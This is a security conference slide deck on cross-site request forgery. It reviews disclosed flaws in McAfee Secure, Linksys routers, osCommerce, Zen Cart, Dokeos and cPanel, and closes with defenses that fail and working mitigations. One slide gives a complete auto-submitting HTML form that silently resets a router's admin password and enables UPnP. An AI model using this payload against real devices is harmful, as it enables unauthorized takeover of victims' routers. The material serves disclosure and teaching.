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DISCLAIMER:

• The views, opinions, and methodologies discussed here do not reflect those of our employers, thus no smack talk herein is to be attributed to anyone other than Mike and Russ.
Cross-site request forgery

• **Bad News**
  – CSRF is nasty, it's everywhere, and you can't stop it on the client side

• **Good News**
  – It can do neat things

• CSRF is likely amongst the lamest security bugs available, as far as "cool" bugs go
In case you didn’t know…

• Cross-site request forgery, CSRF, XSRF
  – In essence, the attack forces another user's browser to do something on your behalf
  
  – If that user is an authenticated user or an administrator on a website, the attack can be used to escalate privilege
  
  – We’re of the belief that, much like its XSS cousin, failure to mitigate this vulnerability through secure coding practices borders on the negligent
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• We’ve identified an endless stream of applications, platforms, critical infrastructure devices, and even wormable hybrid attacks, many of which require little or no Javascript (XSS)

• The key takeaway is this
  – a vulnerability that is so easily prevented can lead to absolute mayhem, particularly when bundled with other attacks. Worse still, identifying the attacker is even more difficult as the attack occurs in the context of the authenticated user
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• We’ll show you how to prevent it later…

• …but we’d rather show you how to break things with it
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- A common argument from vendors / developers who don’t want to fix CSRF vulns when we report them
  - Someone has to click a link, it’s their problem if they do

- Here’s a secret
  - Everyone clicks links

- Just ask the CEO of StrongWebMail who’s out $10,000
  - $3300 of which is in Mike’s pocket right now
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- Tools of the trade
  - Tamper Data, HackBar
  - Ideal for seeing form variables / parameters
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See the form variables / parameters (and a lack of formkey / token) and you're a simple script away from "making use of the opportunity".

```html
<html>
  <form name="tweakUser" action="https://192.168.248.1/apply cgi" method=Post AUTOCOMPLETE="off">
    <input type="hidden" name="submit_button" value="Management">
    <input type="hidden" name="change_action" value="1">
    <input type="hidden" name="action" value="Apply">
    <input type="hidden" name="PasswdModify" value="0">
    <input type="hidden" name="http_enable" value="1">
    <input type="hidden" name="https_enable" value=""/>
    <input type="hidden" name="wait_time" value="4">
    <input type="hidden" name="http_pesswd" value="ReallyDooofuss">
    <input type="hidden" name="http_pesswdConfirm" value="ReallyDooofuss">
    <input type="hidden" name="_https_enable" value="1">
    <input type="hidden" name="web_wl_filter" value="0">
    <input type="hidden" name="remote_management" value="0">
    <input type="hidden" name="upnp_enable" value="1">
    <input type="hidden" name="upnp_config" value="1">
    <input type="hidden" name="upnp_internet_dis" value="0">
  </form>
  <script>
    window.setTimeout(function() {
      document.tweakUser.submit();
    }, 3000);
  </script>
  <h1>Please standby while we pwn your router...</h1>
</html>
```
McAfee Secure? Not so much...

• Surprisingly lame given the fact that this vulnerability was all GET oriented.

• Picture this
  – CSRF someone with access to the portal.
  – Build your own account
  – Scan a site of your choosing, discovering all their vulnerabilities
  – This takes a giant leap of faith in the quality of the McAfee Secure scanning engine, but you get the point ;-)
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The McAfee Secure user management page, before the attack
McAfee Secure? Not so much...

A GET-based CSRF attack
McAfee Secure? Not so much...

Account created via CSRF
McAfee Secure? Not so much...

EPIC FAIL!
CSRF: Linksys said what!?

“We can’t reasonably prevent CSRF’s without bogging down our code. The compromise we had made here is to have a timeout on the web interface, so users are logged out after 10 mins of inactivity. We have also advised users to not click on suspicious links while logged in to the web interface, or close the web interface as soon as they are finished configuring the router.”
CSRF: Linksys WRT160N

VIDEO
CSRF: Linksys, Netgear…blah, blah, blah

- With few exceptions, they’re all vulnerable to CSRF
- Why is this is bad?

WHID 2008-05: Drive-by Pharming in the Wild
Reported: 28 January 2008
Occurred: 21 January 2008

Classifications:
- Attack Method: Known Vulnerability
- Attack Method: Drive by Pharming
- Attack Method: Cross Site Request Forgery (CSRF)
- Country: Mexico
- Location: Client
- Outcome: Leakage of Information
- Outcome: Monetary Loss
- Software: DSL Router
- Vertical: Finance

Symantec reported an active exploit of CSRF against residential ADSL routers in Mexico (WHID 2008-05). An e-mail with a malicious IMG tag was sent to victims. By accessing the image in the mail, the user initiated a router command to change the DNS entry of a leading Mexican bank, making any subsequent access by a user to the bank go through the attacker’s server.
An HTML injection hole in espn.go.com can easily lead to a CSRF worm, with no client-side scripting.
CSRF: Dokeos

- CVE-2009-2005
- Customers include
  - Securitas
  - MCI
  - Red Cross France
  - Belgian Defense Agency
- One million users
CSRF: osCommerce

• CVE-2009-0408
• allintext:powered by oscommerce – 9,330,000 results

• Discovered this one while picking on McAfee Secure and other trustmark providers.

VIDEO
CSRF: Zen Cart

- Zen Cart is essentially the same code base as osCommerce.
- Russ tells Mike that osCommerce is broken.
- Mike says “Then so is Zen Cart.”
- After testing and disclosure
  - Secunia Advisory 33988
- allintext:powered by zen cart
  - 7,330,000 results
- Between osCommerce and Zen Cart
  - 16,660,000 possible pwnage points of light
- We believe that 666 in the above number is not coincidental. :-}
CSRF: cPanel / WHM...pwn the Intarweb

• How many hosting providers use cPanel/WHM?

• Based on averages (very low)
  – Ten thousand unique installations
  – 700 sites per installation
  – 7 million sites at a minimum managed via cPanel / WHM
CSRF: cPanel / WHM...pwn the Intarweb
Misconceptions – Defenses That Don’t Work

• Only accept POST
  – Stops simple GET-based attacks (IMG, frames, etc.)
  – Hidden POST requests can be created with frames, scripts, etc…

• Referrer checking
  – Some users prohibit referrers; requiring referrer headers insufficient
  – Techniques to selectively create HTTP request without referrers exist

• Requiring multi-step transactions
  – CSRF attack can perform each step in order

• URL Rewriting
  – General session id exposure in logs, cache, etc.

None of these approaches will sufficiently protect against CSRF!

Content courtesy of OWASP
CSRF: Mitigations and resources

• CAPTCHA
  – Attacker must know CAPTCHA answer
  – Assuming a secure implementation

• Re-Authentication
  – Password Based
    • Attacker must know victims password
    • If password is known, then game over already!
  – One-Time Token
    • Attacker must know current token
    • Very strong defense!

• Unique Request Tokens
  – Attacker must know unique request token for particular victim for particular session
  – Assumes token is cryptographically secure and not disclosed.
    • /accounts?auth=687965fdaew87agrde...
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Q & A

SEE YOU THERE!